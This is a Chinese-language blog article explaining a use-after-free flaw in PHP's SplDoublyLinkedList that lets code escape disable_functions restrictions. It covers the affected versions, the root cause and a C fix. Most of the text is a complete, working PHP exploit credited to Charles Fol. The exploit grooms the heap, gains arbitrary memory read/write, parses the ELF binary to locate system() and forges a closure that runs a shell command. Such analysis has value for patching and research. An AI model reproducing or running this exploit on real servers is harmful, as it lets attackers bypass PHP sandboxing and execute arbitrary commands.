您好,登錄后才能下訂單哦!
這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)PHP SplDoublyLinkedList中的用后釋放漏洞的示例分析,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
PHP的SplDoublyLinkedList雙向鏈表庫中存在一個用后釋放漏洞,該漏洞將允許攻擊者通過運(yùn)行PHP代碼來轉(zhuǎn)義disable_functions限制函數(shù)。在該漏洞的幫助下,遠(yuǎn)程攻擊者將能夠?qū)崿F(xiàn)PHP沙箱逃逸,并執(zhí)行任意代碼。更準(zhǔn)確地來說,成功利用該漏洞后,攻擊者將能夠繞過PHP的某些限制,例如disable_functions和safe_mode等等。
PHP v8.0(Alpha);
PHP v7.4.10及其之前版本;
根據(jù)我們的安全分類,我們認(rèn)為這并非一個安全問題,因?yàn)樗枰?a title="服務(wù)器" target="_blank" href="http://kemok4.com/">服務(wù)器端執(zhí)行非常特殊的代碼才能夠觸發(fā)該漏洞。如果攻擊者能夠?qū)崿F(xiàn)代碼注入,那么肯定是由一個比該漏洞更加嚴(yán)重的漏洞存在所導(dǎo)致的。
SplDoublyLinkedList是PHP中的一個雙向鏈表庫(DLL),這個庫支持進(jìn)行迭代,即能夠存儲一個指針指向當(dāng)前的DLL元素以實(shí)現(xiàn)迭代。這樣一來,開發(fā)人員就可以通過調(diào)用next()和prev()來讓DLL指向其他的元素了。
當(dāng)我們刪除DLL中的某個元素之后,PHP將從DLL中移除該元素,然后銷毀掉zval,如果指針指向該元素的話,那么就存在空指針問題了。因此,當(dāng)zval被銷毀之后,當(dāng)前指針仍然指向相關(guān)聯(lián)元素,即使其已經(jīng)被從鏈表中移除了。這樣一來,用后釋放問題便出現(xiàn)了,因?yàn)槲覀兛梢酝ㄟ^在zval的構(gòu)造器中調(diào)用$dll->next()或$dll->prev()來觸發(fā)該漏洞。
我們可以使用兩個值來創(chuàng)建一個SplDoublyLinkedList對象$s,第一個值是一個帶有特殊結(jié)構(gòu)體__destruct 的對象,另一個值我們不用理會。接下來,我們可以調(diào)用$s->rewind()來讓當(dāng)前迭代元素的指針指向我們的對象。當(dāng)我們調(diào)用$s->offsetUnset(0)時,它將會調(diào)用底層C函數(shù)SPL_METHOD(SplDoublyLinkedList, offsetUnset)(該函數(shù)存在于ext/spl/spl_dllist.c中),這個函數(shù)將完成以下幾件事情:
1、通過設(shè)置下列參數(shù)將元素從雙線鏈表中移除:
element->prev->next = element->next element->next->prev = element->prev
2、銷毀相關(guān)的zval(llist->dtor);
3、如果intern->traverse_pointer指向目標(biāo)元素,它會將指針設(shè)置為NULL;
在第二步中,會調(diào)用我們對象的__destruct方法,而intern->traverse_pointer仍然會指向該元素。為了觸發(fā)用后釋放問題,我們需要做下列幾件事情:
通過調(diào)用$s->offsetUnset(0)來移除雙向鏈表中的第二個元素,讓intern->traverse_pointer->next指向一個未分配的空間;
調(diào)用$s->next():調(diào)用鏈為intern->traverse_pointer = intern->traverse_pointer->next。由于該地址已在第一步被釋放,那么traverse_pointer將指向一個未分配的地址;
使用$s->current(),我們將能夠訪問未分配的地址,從而觸發(fā)用后釋放漏洞;
需要在銷毀zval之前清理掉intern->traverse_pointer指針,隨后刪除相關(guān)的引用。參考代碼如下:
was_traverse_pointer = 0; // Clear the current pointer if (intern->traverse_pointer == element) { intern->traverse_pointer = NULL; was_traverse_pointer = 1; } if(llist->dtor) { llist->dtor(element); } if(was_traverse_pointer) { SPL_LLIST_DELREF(element); } // In the current implementation, this part is useless, because // llist->dtor will UNDEF the zval before zval_ptr_dtor(&element->data); ZVAL_UNDEF(&element->data); SPL_LLIST_DELREF(element);
<?php # # PHP SplDoublyLinkedList::offsetUnset UAF # Charles Fol (@cfreal_) # 2020-08-07 # PHP is vulnerable from 5.3 to 8.0 alpha # This exploit only targets PHP7+. # # SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration. # Said iteration is done by keeping a pointer to the "current" DLL element. # You can then call next() or prev() to make the DLL point to another element. # When you delete an element of the DLL, PHP will remove the element from the # DLL, then destroy the zval, and finally clear the current ptr if it points # to the element. Therefore, when the zval is destroyed, current is still # pointing to the associated element, even if it was removed from the list. # This allows for an easy UAF, because you can call $dll->next() or # $dll->prev() in the zval's destructor. # # error_reporting(E_ALL); define('NB_DANGLING', 200); define('SIZE_ELEM_STR', 40 - 24 - 1); define('STR_MARKER', 0xcf5ea1); function i2s(&$s, $p, $i, $x=8) { for($j=0;$j<$x;$j++) { $s[$p+$j] = chr($i & 0xff); $i >>= 8; } } function s2i(&$s, $p, $x=8) { $i = 0; for($j=$x-1;$j>=0;$j--) { $i <<= 8; $i |= ord($s[$p+$j]); } return $i; } class UAFTrigger { function __destruct() { global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets; #"print('UAF __destruct: ' . "\n"); $dlls[NB_DANGLING]->offsetUnset(0); # At this point every $dll->current points to the same freed chunk. We allocate # that chunk with a string, and fill the zval part $fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR)); i2s($fake_dll_element, 0x00, 0x12345678); # ptr i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff # Each of these dlls current->next pointers point to the same location, # the string we allocated. When calling next(), our fake element becomes # the current value, and as such its rc is incremented. Since rc is at # the same place as zend_string.len, the length of the string gets bigger, # allowing to R/W any part of the following memory for($i = 0; $i <= NB_DANGLING; $i++) $dlls[$i]->next(); if(strlen($fake_dll_element) <= SIZE_ELEM_STR) die('Exploit failed: fake_dll_element did not increase in size'); $leaked_str_offsets = []; $leaked_str_zval = []; # In the memory after our fake element, that we can now read and write, # there are lots of zend_string chunks that we allocated. We keep three, # and we keep track of their offsets. for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40) { # If we find a string marker, pull it from the string list if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER) { $leaked_str_offsets[] = $offset; $leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)]; if(count($leaked_str_zval) == 3) break; } } if(count($leaked_str_zval) != 3) die('Exploit failed: unable to leak three zend_strings'); # free the strings, except the three we need $strs = null; # Leak adress of first chunk unset($leaked_str_zval[0]); unset($leaked_str_zval[1]); unset($leaked_str_zval[2]); $first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]); # At this point we have 3 freed chunks of size 40, which we can read/write, # and we know their address. print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n"); # In the third one, we will allocate a DLL element which points to a zend_array $rw_dll->push([3]); $array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18); # Change the zval type from zend_object to zend_string i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006); if(gettype($rw_dll[0]) != 'string') die('Exploit failed: Unable to change zend_array to zend_string'); # We can now read anything: if we want to read 0x11223300, we make zend_string* # point to 0x11223300-0x10, and read its size using strlen() # Read zend_array->pDestructor $zval_ptr_dtor_addr = read($array_addr + 0x30); print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n"); # Use it to find zif_system $system_addr = get_system_address($zval_ptr_dtor_addr); print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n"); # In the second freed block, we create a closure and copy the zend_closure struct # to a string $rw_dll->push(function ($x) {}); $closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18); $data = str_shuffle(str_repeat('A', 0x200)); for($i = 0; $i < 0x138; $i += 8) { i2s($data, $i, read($closure_addr + $i)); } # Change internal func type and pointer to make the closure execute system instead i2s($data, 0x38, 1, 4); i2s($data, 0x68, $system_addr); # Push our string, which contains a fake zend_closure, in the last freed chunk that # we control, and make the second zval point to it. $rw_dll->push($data); $fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24; i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure); print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n"); # Calling it now print('Running system("id");' . "\n"); $rw_dll[1]('id'); print_r('DONE'."\n"); } } class DanglingTrigger { function __construct($i) { $this->i = $i; } function __destruct() { global $dlls; #D print('__destruct: ' . $this->i . "\n"); $dlls[$this->i]->offsetUnset(0); $dlls[$this->i+1]->push(123); $dlls[$this->i+1]->offsetUnset(0); } } class SystemExecutor extends ArrayObject { function offsetGet($x) { parent::offsetGet($x); } } /** * Reads an arbitrary address by changing a zval to point to the address minus 0x10, * and setting its type to zend_string, so that zend_string->len points to the value * we want to read. */ function read($addr, $s=8) { global $fake_dll_element, $leaked_str_offsets, $rw_dll; i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10); i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006); $value = strlen($rw_dll[0]); if($s != 8) $value &= (1 << ($s << 3)) - 1; return $value; } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = read($addr, 7); # ELF header if($leak == 0x10102464c457f) return $addr; } # We'll crash before this but it's clearer this way die('Exploit failed: Unable to find ELF header'); } function parse_elf($base) { $e_type = read($base + 0x10, 2); $e_phoff = read($base + 0x20); $e_phentsize = read($base + 0x36, 2); $e_phnum = read($base + 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = read($header + 0x00, 4); $p_flags = read($header + 0x04, 4); $p_vaddr = read($header + 0x10); $p_memsz = read($header + 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) die('Exploit failed: Unable to parse ELF'); return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = read($data_addr + $i * 8); if($leak - $base > 0 && $leak < $data_addr) { $deref = read($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = read($data_addr + ($i + 4) * 8); if($leak - $base > 0 && $leak < $data_addr) { $deref = read($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = read($addr); $f_name = read($f_entry, 6); if($f_name == 0x6d6574737973) { # system return read($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function get_system_address($binary_leak) { $base = get_binary_base($binary_leak); print('ELF base: 0x' .dechex($base) . "\n"); $elf = parse_elf($base); $basic_funcs = get_basic_funcs($base, $elf); print('Basic functions: 0x' .dechex($basic_funcs) . "\n"); $zif_system = get_system($basic_funcs); return $zif_system; } $dlls = []; $strs = []; $rw_dll = new SplDoublyLinkedList(); # Create a chain of dangling triggers, which will all in turn # free current->next, push an element to the next list, and free current # This will make sure that every current->next points the same memory block, # which we will UAF. for($i = 0; $i < NB_DANGLING; $i++) { $dlls[$i] = new SplDoublyLinkedList(); $dlls[$i]->push(new DanglingTrigger($i)); $dlls[$i]->rewind(); } # We want our UAF'd list element to be before two strings, so that we can # obtain the address of the first string, and increase is size. We then have # R/W over all memory after the obtained address. define('NB_STRS', 50); for($i = 0; $i < NB_STRS; $i++) { $strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR)); i2s($strs[$i], 0, STR_MARKER); i2s($strs[$i], 8, $i, 7); } # Free one string in the middle, ... $strs[NB_STRS - 20] = 123; # ... and put the to-be-UAF'd list element instead. $dlls[0]->push(0); # Setup the last DLlist, which will exploit the UAF $dlls[NB_DANGLING] = new SplDoublyLinkedList(); $dlls[NB_DANGLING]->push(new UAFTrigger()); $dlls[NB_DANGLING]->rewind(); # Trigger the bug on the first list $dlls[0]->offsetUnset(0);
上述就是小編為大家分享的PHP SplDoublyLinkedList中的用后釋放漏洞的示例分析了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。